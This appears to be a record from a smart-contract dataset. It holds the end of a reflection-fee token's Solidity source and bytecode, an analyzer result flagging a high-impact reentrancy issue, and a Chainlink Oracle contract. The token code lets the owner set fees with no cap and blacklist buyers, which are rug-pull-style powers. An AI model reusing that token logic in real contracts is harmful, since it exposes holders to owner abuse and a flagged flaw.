uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054a578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a9059cbb146104c5578063bfd79284146104e5578063c3c8cd8014610515578063c492f0461461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461043e57806395d89b411461045457806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ea5780638da5cb5b146104005780638f70ccf71461041e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b87565b6105e6565b005b34801561020a57600080fd5b506040805180820190915260088152674761736f6c696e7560c01b60208201525b6040516102389190611cb1565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611add565b610693565b6040519015158152602001610238565b34801561027d57600080fd5b50601554610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611a9d565b6106aa565b3480156102fa57600080fd5b506102c060195481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601654610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611a2d565b610713565b34801561036c57600080fd5b506101fc61037b366004611c4e565b61075e565b34801561038c57600080fd5b506101fc6107a6565b3480156103a157600080fd5b506102c06103b0366004611a2d565b6107f1565b3480156103c157600080fd5b506101fc610813565b3480156103d657600080fd5b506101fc6103e5366004611c68565b610887565b3480156103f657600080fd5b506102c060175481565b34801561040c57600080fd5b506000546001600160a01b0316610291565b34801561042a57600080fd5b506101fc610439366004611c4e565b6108b6565b34801561044a57600080fd5b506102c060185481565b34801561046057600080fd5b506040805180820190915260088152674741534f4c494e5560c01b602082015261022b565b34801561049157600080fd5b506101fc6104a0366004611c68565b610902565b3480156104b157600080fd5b506101fc6104c0366004611c80565b610931565b3480156104d157600080fd5b506102616104e0366004611add565b61096f565b3480156104f157600080fd5b50610261610500366004611a2d565b60116020526000908152604090205460ff1681565b34801561052157600080fd5b506101fc61097c565b34801561053657600080fd5b506101fc610545366004611b08565b6109d0565b34801561055657600080fd5b506102c060085481565b34801561056c57600080fd5b506102c061057b366004611a65565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506101fc6105c1366004611c68565b610a7f565b3480156105d257600080fd5b506101fc6105e1366004611a2d565b610aae565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611d04565b60405180910390fd5b60005b815181101561068f5760016011600084848151811061064b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068781611e17565b91505061061c565b5050565b60006106a0338484610b98565b5060015b92915050565b60006106b7848484610cbc565b610709843361070485604051806060016040528060288152602001611e74602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061126f565b610b98565b5060019392505050565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161061090611d04565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161061090611d04565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107db57506014546001600160a01b0316336001600160a01b0316145b6107e457600080fd5b476107ee816112a9565b50565b6001600160a01b0381166000908152600260205260408120546106a49061132e565b6000546001600160a01b0316331461083d5760405162461bcd60e51b815260040161061090611d04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161061090611d04565b601755565b6000546001600160a01b031633146108e05760405162461bcd60e51b815260040161061090611d04565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161061090611d04565b601955565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161061090611d04565b600993909355600b91909155600a55600c55565b60006106a0338484610cbc565b6013546001600160a01b0316336001600160a01b031614806109b157506014546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f1565b90506107ee816113b2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161061090611d04565b60005b82811015610a79578160056000868685818110610a2a57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a3f9190611a2d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611e17565b9150506109fd565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161061090611d04565b601855565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161061090611d04565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b1561116857601654600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b601754811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3d57506001600160a01b03821660009081526011602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b6008544311158015610fb457506016546001600160a01b038481169116145b8015610fce57506015546001600160a01b03838116911614155b8015610fe357506001600160a01b0382163014155b1561100c576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611091576018548161102e846107f1565b6110389190611da9565b106110915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b600061109c306107f1565b6019546017549192508210159082106110b55760175491505b8080156110cc5750601654600160a81b900460ff16155b80156110e657506016546001600160a01b03868116911614155b80156110fb5750601654600160b01b900460ff165b801561112057506001600160a01b03851660009081526005602052604090205460ff16155b801561114557506001600160a01b03841660009081526005602052604090205460ff16155b1561116557611153826113b2565b47801561116357611163476112a9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111aa57506001600160a01b03831660009081526005602052604090205460ff165b806111dc57506016546001600160a01b038581169116148015906111dc57506016546001600160a01b03848116911614155b156111e957506000611263565b6016546001600160a01b03858116911614801561121457506015546001600160a01b03848116911614155b1561122657600954600d55600a54600e555b6016546001600160a01b03848116911614801561125157506015546001600160a01b03858116911614155b1561126357600b54600d55600c54600e555b610a7984848484611557565b600081848411156112935760405162461bcd60e51b81526004016106109190611cb1565b5060006112a08486611e00565b95945050505050565b6013546001600160a01b03166108fc6112c3836002611585565b6040518115909202916000818181858888f193505050501580156112eb573d6000803e3d6000fd5b506014546001600160a01b03166108fc611306836002611585565b6040518115909202916000818181858888f1935050505015801561068f573d6000803e3d6000fd5b60006006548211156113955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061139f6115c7565b90506113ab8382611585565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145c57600080fd5b505afa158015611470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114949190611a49565b816001815181106114b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114db9130911684610b98565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611514908590600090869030904290600401611d39565b600060405180830381600087803b15801561152e57600080fd5b505af1158015611542573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611564576115646115ea565b61156f848484611618565b80610a7957610a79600f54600d55601054600e55565b60006113ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170f565b60008060006115d461173d565b90925090506115e38282611585565b9250505090565b600d541580156115fa5750600e54155b1561160157565b600d8054600f55600e805460105560009182905555565b60008060008060008061162a8761177d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165c90876117da565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168b908661181c565b6001600160a01b0389166000908152600260205260409020556116ad8161187b565b6116b784836118c5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fc91815260200190565b60405180910390a3505050505050505050565b600081836117305760405162461bcd60e51b81526004016106109190611cb1565b5060006112a08486611dc1565b6006546000908190670de0b6b3a76400006117588282611585565b82101561177457505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061179a8a600d54600e546118e9565b92509250925060006117aa6115c7565b905060008060006117bd8e87878761193e565b919e509c509a509598509396509194505050505091939550919395565b60006113ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126f565b6000806118298385611da9565b9050838110156113ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b60006118856115c7565b90506000611893838361198e565b306000908152600260205260409020549091506118b0908261181c565b30600090815260026020526040902055505050565b6006546118d290836117da565b6006556007546118e2908261181c565b6007555050565b600080808061190360646118fd898961198e565b90611585565b9050600061191660646118fd8a8961198e565b9050600061192e826119288b866117da565b906117da565b9992985090965090945050505050565b600080808061194d888661198e565b9050600061195b888761198e565b90506000611969888861198e565b9050600061197b8261192886866117da565b939b939a50919850919650505050505050565b60008261199d575060006106a4565b60006119a98385611de1565b9050826119b68583611dc1565b146113ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b8035611a1881611e5e565b919050565b80358015158114611a1857600080fd5b600060208284031215611a3e578081fd5b81356113ab81611e5e565b600060208284031215611a5a578081fd5b81516113ab81611e5e565b60008060408385031215611a77578081fd5b8235611a8281611e5e565b91506020830135611a9281611e5e565b809150509250929050565b600080600060608486031215611ab1578081fd5b8335611abc81611e5e565b92506020840135611acc81611e5e565b929592945050506040919091013590565b60008060408385031215611aef578182fd5b8235611afa81611e5e565b946020939093013593505050565b600080600060408486031215611b1c578283fd5b833567ffffffffffffffff80821115611b33578485fd5b818601915086601f830112611b46578485fd5b813581811115611b54578586fd5b8760208260051b8501011115611b68578586fd5b602092830195509350611b7e9186019050611a1d565b90509250925092565b60006020808385031215611b99578182fd5b823567ffffffffffffffff80821115611bb0578384fd5b818501915085601f830112611bc3578384fd5b813581811115611bd557611bd5611e48565b8060051b604051601f19603f83011681018181108582111715611bfa57611bfa611e48565b604052828152858101935084860182860187018a1015611c18578788fd5b8795505b83861015611c4157611c2d81611a0d565b855260019590950194938601938601611c1c565b5098975050505050505050565b600060208284031215611c5f578081fd5b6113ab82611a1d565b600060208284031215611c79578081fd5b5035919050565b60008060008060808587031215611c95578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cdd57858101830151858201604001528201611cc1565b81811115611cee5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d885784516001600160a01b031683529383019391830191600101611d63565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dbc57611dbc611e32565b500190565b600082611ddc57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dfb57611dfb611e32565b500290565b600082821015611e1257611e12611e32565b500390565b6000600019821415611e2b57611e2b611e32565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220226a354350d3b98b9572b05ce27570f0f06ed2f122f4a2cbd96852942c2c7d2864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,940 |
0x4d9c5995f15b140cd0f29405f75f76a04aedac3a
|
pragma solidity 0.4.24;
interface ChainlinkRequestInterface {
function oracleRequest(
address sender,
uint256 payment,
bytes32 id,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 nonce,
uint256 version,
bytes data
) external;
function cancelOracleRequest(
bytes32 requestId,
uint256 payment,
bytes4 callbackFunctionId,
uint256 expiration
) external;
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external returns (uint256 balance);
function decimals() external returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external returns (string tokenName);
function symbol() external returns (string tokenSymbol);
function totalSupply() external returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
interface OracleInterface {
function fulfillOracleRequest(
bytes32 requestId,
uint256 payment,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 expiration,
bytes32 data
) external returns (bool);
function getAuthorizationStatus(address node) external view returns (bool);
function setFulfillmentPermission(address node, bool allowed) external;
function withdraw(address recipient, uint256 amount) external;
function withdrawable() external view returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable {
using SafeMath for uint256;
uint256 constant public EXPIRY_TIME = 5 minutes;
uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000;
// We initialize fields to 1 instead of 0 so that the first invocation
// does not cost more gas.
uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1;
uint256 constant private SELECTOR_LENGTH = 4;
uint256 constant private EXPECTED_REQUEST_WORDS = 2;
uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS);
LinkTokenInterface internal LinkToken;
mapping(bytes32 => bytes32) private commitments;
mapping(address => bool) private authorizedNodes;
uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST;
event OracleRequest(
bytes32 indexed specId,
address requester,
bytes32 requestId,
uint256 payment,
address callbackAddr,
bytes4 callbackFunctionId,
uint256 cancelExpiration,
uint256 dataVersion,
bytes data
);
event CancelOracleRequest(
bytes32 indexed requestId
);
/**
* @notice Deploy with the address of the LINK token
* @dev Sets the LinkToken address for the imported LinkTokenInterface
* @param _link The address of the LINK token
*/
constructor(address _link) public Ownable() {
LinkToken = LinkTokenInterface(_link); // external but already deployed and unalterable
}
/**
* @notice Called when LINK is sent to the contract via `transferAndCall`
* @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount`
* values to ensure correctness. Calls oracleRequest.
* @param _sender Address of the sender
* @param _amount Amount of LINK sent (specified in wei)
* @param _data Payload of the transaction
*/
function onTokenTransfer(
address _sender,
uint256 _amount,
bytes _data
)
public
onlyLINK
validRequestLength(_data)
permittedFunctionsForLINK(_data)
{
assembly { // solhint-disable-line no-inline-assembly
mstore(add(_data, 36), _sender) // ensure correct sender is passed
mstore(add(_data, 68), _amount) // ensure correct amount is passed
}
// solhint-disable-next-line avoid-low-level-calls
require(address(this).delegatecall(_data), "Unable to create request"); // calls oracleRequest
}
/**
* @notice Creates the Chainlink request
* @dev Stores the hash of the params as the on-chain commitment for the request.
* Emits OracleRequest event for the Chainlink node to detect.
* @param _sender The sender of the request
* @param _payment The amount of payment given (specified in wei)
* @param _specId The Job Specification ID
* @param _callbackAddress The callback address for the response
* @param _callbackFunctionId The callback function ID for the response
* @param _nonce The nonce sent by the requester
* @param _dataVersion The specified data version
* @param _data The CBOR payload of the request
*/
function oracleRequest(
address _sender,
uint256 _payment,
bytes32 _specId,
address _callbackAddress,
bytes4 _callbackFunctionId,
uint256 _nonce,
uint256 _dataVersion,
bytes _data
)
external
onlyLINK
checkCallbackAddress(_callbackAddress)
{
bytes32 requestId = keccak256(abi.encodePacked(_sender, _nonce));
require(commitments[requestId] == 0, "Must use a unique ID");
// solhint-disable-next-line not-rely-on-time
uint256 expiration = now.add(EXPIRY_TIME);
commitments[requestId] = keccak256(
abi.encodePacked(
_payment,
_callbackAddress,
_callbackFunctionId,
expiration
)
);
emit OracleRequest(
_specId,
_sender,
requestId,
_payment,
_callbackAddress,
_callbackFunctionId,
expiration,
_dataVersion,
_data);
}
/**
* @notice Called by the Chainlink node to fulfill requests
* @dev Given params must hash back to the commitment stored from `oracleRequest`.
* Will call the callback address' callback function without bubbling up error
* checking in a `require` so that the node can get paid.
* @param _requestId The fulfillment request ID that must match the requester's
* @param _payment The payment amount that will be released for the oracle (specified in wei)
* @param _callbackAddress The callback address to call for fulfillment
* @param _callbackFunctionId The callback function ID to use for fulfillment
* @param _expiration The expiration that the node should respond by before the requester can cancel
* @param _data The data to return to the consuming contract
* @return Status if the external call was successful
*/
function fulfillOracleRequest(
bytes32 _requestId,
uint256 _payment,
address _callbackAddress,
bytes4 _callbackFunctionId,
uint256 _expiration,
bytes32 _data
)
external
onlyAuthorizedNode
isValidRequest(_requestId)
returns (bool)
{
bytes32 paramsHash = keccak256(
abi.encodePacked(
_payment,
_callbackAddress,
_callbackFunctionId,
_expiration
)
);
require(commitments[_requestId] == paramsHash, "Params do not match request ID");
withdrawableTokens = withdrawableTokens.add(_payment);
delete commitments[_requestId];
require(gasleft() >= MINIMUM_CONSUMER_GAS_LIMIT, "Must provide consumer enough gas");
// All updates to the oracle's fulfillment should come before calling the
// callback(addr+functionId) as it is untrusted.
// See: https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern
return _callbackAddress.call(_callbackFunctionId, _requestId, _data); // solhint-disable-line avoid-low-level-calls
}
/**
* @notice Use this to check if a node is authorized for fulfilling requests
* @param _node The address of the Chainlink node
* @return The authorization status of the node
*/
function getAuthorizationStatus(address _node) external view returns (bool) {
return authorizedNodes[_node];
}
/**
* @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow.
* @param _node The address of the Chainlink node
* @param _allowed Bool value to determine if the node can fulfill requests
*/
function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner {
authorizedNodes[_node] = _allowed;
}
/**
* @notice Allows the node operator to withdraw earned LINK to a given address
* @dev The owner of the contract can be another wallet and does not have to be a Chainlink node
* @param _recipient The address to send the LINK token to
* @param _amount The amount to send (specified in wei)
*/
function withdraw(address _recipient, uint256 _amount)
external
onlyOwner
hasAvailableFunds(_amount)
{
withdrawableTokens = withdrawableTokens.sub(_amount);
assert(LinkToken.transfer(_recipient, _amount));
}
/**
* @notice Displays the amount of LINK that is available for the node operator to withdraw
* @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage
* @return The amount of withdrawable LINK on the contract
*/
function withdrawable() external view onlyOwner returns (uint256) {
return withdrawableTokens.sub(ONE_FOR_CONSISTENT_GAS_COST);
}
/**
* @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK
* sent for the request back to the requester's address.
* @dev Given params must hash to a commitment stored on the contract in order for the request to be valid
* Emits CancelOracleRequest event.
* @param _requestId The request ID
* @param _payment The amount of payment given (specified in wei)
* @param _callbackFunc The requester's specified callback address
* @param _expiration The time of the expiration for the request
*/
function cancelOracleRequest(
bytes32 _requestId,
uint256 _payment,
bytes4 _callbackFunc,
uint256 _expiration
) external {
bytes32 paramsHash = keccak256(
abi.encodePacked(
_payment,
msg.sender,
_callbackFunc,
_expiration)
);
require(paramsHash == commitments[_requestId], "Params do not match request ID");
// solhint-disable-next-line not-rely-on-time
require(_expiration <= now, "Request is not expired");
delete commitments[_requestId];
emit CancelOracleRequest(_requestId);
assert(LinkToken.transfer(msg.sender, _payment));
}
// MODIFIERS
/**
* @dev Reverts if amount requested is greater than withdrawable balance
* @param _amount The given amount to compare to `withdrawableTokens`
*/
modifier hasAvailableFunds(uint256 _amount) {
require(withdrawableTokens >= _amount.add(ONE_FOR_CONSISTENT_GAS_COST), "Amount requested is greater than withdrawable balance");
_;
}
/**
* @dev Reverts if request ID does not exist
* @param _requestId The given request ID to check in stored `commitments`
*/
modifier isValidRequest(bytes32 _requestId) {
require(commitments[_requestId] != 0, "Must have a valid requestId");
_;
}
/**
* @dev Reverts if `msg.sender` is not authorized to fulfill requests
*/
modifier onlyAuthorizedNode() {
require(authorizedNodes[msg.sender] || msg.sender == owner, "Not an authorized node to fulfill requests");
_;
}
/**
* @dev Reverts if not sent from the LINK token
*/
modifier onlyLINK() {
require(msg.sender == address(LinkToken), "Must use LINK token");
_;
}
/**
* @dev Reverts if the given data does not begin with the `oracleRequest` function selector
* @param _data The data payload of the request
*/
modifier permittedFunctionsForLINK(bytes _data) {
bytes4 funcSelector;
assembly { // solhint-disable-line no-inline-assembly
funcSelector := mload(add(_data, 32))
}
require(funcSelector == this.oracleRequest.selector, "Must use whitelisted functions");
_;
}
/**
* @dev Reverts if the callback address is the LINK token
* @param _to The callback address
*/
modifier checkCallbackAddress(address _to) {
require(_to != address(LinkToken), "Cannot callback to LINK");
_;
}
/**
* @dev Reverts if the given payload is less than needed to create a request
* @param _data The request payload
*/
modifier validRequestLength(bytes _data) {
require(_data.length >= MINIMUM_REQUEST_LENGTH, "Invalid request length");
_;
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806340429946146100bf5780634ab0d1901461018f5780634b60228214610243578063501883011461026e5780636ee4d55314610299578063715018a6146103075780637fcd56db1461031e5780638da5cb5b1461036d578063a4c0ed36146103c4578063d3e9c31414610457578063f2fde38b146104b2578063f3fef3a3146104f5575b600080fd5b3480156100cb57600080fd5b5061018d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291908035906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050610542565b005b34801561019b57600080fd5b50610229600480360381019080803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803590602001909291908035600019169060200190929190505050610ab9565b604051808215151515815260200191505060405180910390f35b34801561024f57600080fd5b50610258610fa3565b6040518082815260200191505060405180910390f35b34801561027a57600080fd5b50610283610fa9565b6040518082815260200191505060405180910390f35b3480156102a557600080fd5b5061030560048036038101908080356000191690602001909291908035906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080359060200190929190505050611021565b005b34801561031357600080fd5b5061031c6113a9565b005b34801561032a57600080fd5b5061036b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505